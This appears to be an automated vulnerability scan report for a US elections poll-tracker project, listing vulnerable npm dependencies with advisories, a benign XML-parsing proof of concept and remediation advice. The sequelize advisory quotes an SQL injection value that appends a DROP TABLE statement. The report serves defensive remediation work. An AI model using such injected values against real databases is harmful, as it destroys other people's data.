Vulnerabilities

160 via 483 paths

Dependencies

1117

Source

GitHub

Commit

HEAD

Find, fix and prevent vulnerabilities in your code.

Severity
  • 6
  • 67
  • 83
  • 4
Status
  • 160
  • 0
  • 0

critical severity

Improper Input Validation

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to Improper Input Validation due to parsing XML that is not well-formed, and contains multiple top-level elements. All the root nodes are being added to the childNodes collection of the Document, without reporting or throwing any error.

Workarounds

One of the following approaches might help, depending on your use case:

  1. Instead of searching for elements in the whole DOM, only search in the documentElement.

  2. Reject a document with a document that has more than 1 childNode.

PoC

var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
'  <branch girth="large">\n' +
'    <leaf color="green" />\n' +
'  </branch>\n' +
'</root>\n' +
'<root>\n' +
'  <branch girth="twig">\n' +
'    <leaf color="gold" />\n' +
'  </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());

This will result with the following output:

<?xml version="1.0" encoding="UTF-8"?><root>
  <branch girth="large">
    <leaf color="green"/>
  </branch>
</root>
<root>
  <branch girth="twig">
    <leaf color="gold"/>
  </branch>
</root>

Remediation

There is no fixed version for xmldom.

References

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: jsdom@9.12.0 and exhibit-plugin-sass@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 request@2.88.2 form-data@2.3.3
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 request@2.88.2 form-data@2.3.3
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-sass@0.10.1 node-sass@3.13.1 node-gyp@3.8.0 request@2.88.2 form-data@2.3.3

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.19.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection via the replacements statement. It allowed a malicious actor to pass dangerous values such as OR true; DROP TABLE users through replacements which would result in arbitrary SQL execution.

Remediation

Upgrade sequelize to version 6.19.1 or higher.

References

critical severity

Incomplete List of Disallowed Inputs

  • Vulnerable module: babel-traverse
  • Introduced through: babel-core@6.26.3, exhibit-plugin-babel@0.10.1 and others

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-register@6.26.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015-node6@0.3.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-register@6.26.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-computed-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015-node6@0.3.0 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-systemjs@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015-node6@0.3.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-register@6.26.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015-node6@0.3.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015-node6@0.3.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node4@2.1.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node5@1.2.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-register@6.26.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-register@6.26.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015-node6@0.3.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-computed-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node4@2.1.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node5@1.2.0 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-systemjs@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node4@2.1.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node5@1.2.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-plugin-transform-class-constructor-call@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node4@2.1.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node5@1.2.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node4@2.1.1 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node5@1.2.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-register@6.26.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node4@2.1.1 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015-node5@1.2.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-plugin-transform-class-constructor-call@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-babel@0.10.1 babel-core@6.26.3 babel-register@6.26.0 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-es2015@6.24.1 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD trip@1.0.3 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0
